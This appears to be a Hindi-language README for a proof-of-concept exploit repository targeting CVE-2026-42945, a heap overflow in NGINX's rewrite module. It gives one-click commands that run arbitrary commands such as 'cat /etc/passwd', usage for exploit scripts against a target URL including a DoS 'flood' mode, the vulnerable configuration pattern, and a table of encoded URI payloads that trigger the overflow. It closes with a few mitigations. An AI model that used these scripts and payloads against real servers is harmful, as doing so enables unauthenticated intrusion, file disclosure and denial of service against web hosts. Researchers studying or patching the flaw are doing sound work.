
CVE-2026-42945 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, NGINX रीराइट मॉड्यूल में एक महत्वपूर्ण हीप ओवरफ़्लो, जो क्राफ्टेड URI एन्कोडिंग के माध्यम से अप्रमाणित रिमोट कोड निष्पादन को सक्षम बनाता है। इसमें Docker-आधारित परीक्षण वातावरण, ASAN सत्यापन, और कई एक्सप्लॉइट स्क्रिप्ट शामिल हैं।
RCE सफलतापूर्वक पुष्टि की गई — ढेर अतिप्रवाह + GDB प्रक्रिया इंजेक्शन के माध्यम से, NGINX / OpenResty worker प्रक्रिया में मनमाना कमांड निष्पादित करें।
# एक-क्लिक NGINX इमेज बिल्ड + RCE परीक्षण निष्पादित करें
./run.sh nginx
# एक-क्लिक OpenResty इमेज बिल्ड + RCE परीक्षण निष्पादित करें
./run.sh openresty
# कस्टम कमांड
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'
| विशेषता | मान |
|---|---|
| CVE संख्या | CVE-2026-42945 |
| भेद्यता प्रकार | ढेर बफर अतिप्रवाह → दूरस्थ कोड निष्पादन (RCE) |
| प्रभावित घटक | ngx_http_rewrite_module |
| प्रभावित संस्करण | NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36 |
| भेद्यता स्कोर | CVSS 9.4 (गंभीर) |
| शोषण की शर्तें | प्रमाणीकरण आवश्यक नहीं; RCE के लिए ptrace अनुमति आवश्यक (रूट) |
ngx_http_script_complex_value_code() URI के डिकोड की गई लंबाई के अनुसार बफर आवंटित करता है, लेकिन ngx_http_script_copy_capture_code() ngx_escape_uri() को एन्कोड की गई लंबाई के अनुसार लिखने के लिए कॉल करता है। URL एन्कोडिंग वर्ण 3 गुना फैलते हैं → ढेर अतिप्रवाह।
तीन शर्तों को एक साथ पूरा होना चाहिए:
rewrite और set निर्देश एक ही स्थान परrewrite प्रतिस्थापन स्ट्रिंग में ? शामिल हैset rewrite के कैप्चर वेरिएबल $1 को संदर्भित करता हैlocation ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # '?' शामिल है
set $original_endpoint $1; # $1 संदर्भित करता है
}
#0 ngx_escape_uri src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler src/http/modules/ngx_http_rewrite_module.c:180
.
├── run.sh # एक-क्लिक निर्माण + परीक्षण प्रवेश बिंदु
├── README.md
│
├── scripts/ # परीक्षण और शोषण स्क्रिप्ट
│ ├── rce.sh # शुद्ध शेल RCE (curl + GDB, कोई Python नहीं)
│ ├── exploit_rce.py # Python RCE (संगत 2.7/3.x)
│ ├── exploit.py # PoC मुख्य स्क्रिप्ट (check/exploit/rce/flood)
│ └── exploit_asan.py # ASAN पूर्ण स्कैन
│
├── package/ # तैनाती और ऑर्केस्ट्रेशन फ़ाइलें
│ ├── Dockerfile.rce # NGINX स्रोत कोड संकलन + RCE वातावरण
│ ├── Dockerfile.openresty.rce # OpenResty स्रोत कोड संकलन + RCE वातावरण
│ ├── Dockerfile # आधार इमेज (Alpine)
│ ├── Dockerfile.asan # ASAN डिबग इमेज
│ ├── docker-compose.yml # Docker ऑर्केस्ट्रेशन (nginx-rce + openresty-rce)
│ ├── nginx.conf # NGINX भेद्यता कॉन्फ़िगरेशन
│ ├── nginx-openresty.conf # OpenResty भेद्यता कॉन्फ़िगरेशन
│ ├── start_rce.sh # NGINX RCE कंटेनर प्रारंभ स्क्रिप्ट
│ └── start_openresty_rce.sh # OpenResty RCE कंटेनर प्रारंभ स्क्रिप्ट
│
└── src/ # स्रोत कोड (संकलन के लिए)
├── nginx-1.26.3/ # NGINX 1.26.3 स्रोत कोड
├── nginx-1.26.3.tar.gz
└── openresty-1.25.3.1.tar.gz # OpenResty 1.25.3.1 (अंतर्निहित nginx/1.25.3)
# शेल स्क्रिप्ट (कोई Python निर्भरता नहीं)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'
# Python स्क्रिप्ट (संगत 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'
# OpenResty के लिए भी यही
docker exec openresty-rce bash /opt/rce.sh 'id'
docker exec -it nginx-rce bash
# कंटेनर के अंदर:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'
# रूट + ptrace अनुमति आवश्यक
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'
python3 scripts/exploit.py --target http://localhost:8775 --mode check # भेद्यता जांचें
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit # ASAN ढेर अतिप्रवाह सत्यापन
python3 scripts/exploit.py --target http://localhost:8775 --mode rce # RCE जोखिम मूल्यांकन
python3 scripts/exploit.py --target http://localhost:8775 --mode flood # DoS लोड परीक्षण
rewrite (? सहित) + set ($1 संदर्भित) संयोजन से बचें%25/%3f/%23/%26 एन्कोडेड अनुरोधों को अवरुद्ध करेंecho 1 > /proc/sys/kernel/yama/ptrace_scope| Payload | विवरण | परिणाम |
|---|
/api/%25 × N | एन्कोडेड % | ✅ ढेर अतिप्रवाह |
/api/%3f × N | एन्कोडेड ? | ✅ ढेर अतिप्रवाह |
/api/%23 × N | एन्कोडेड # | ✅ ढेर अतिप्रवाह |
/api/%26 × N | एन्कोडेड & | ✅ ढेर अतिप्रवाह |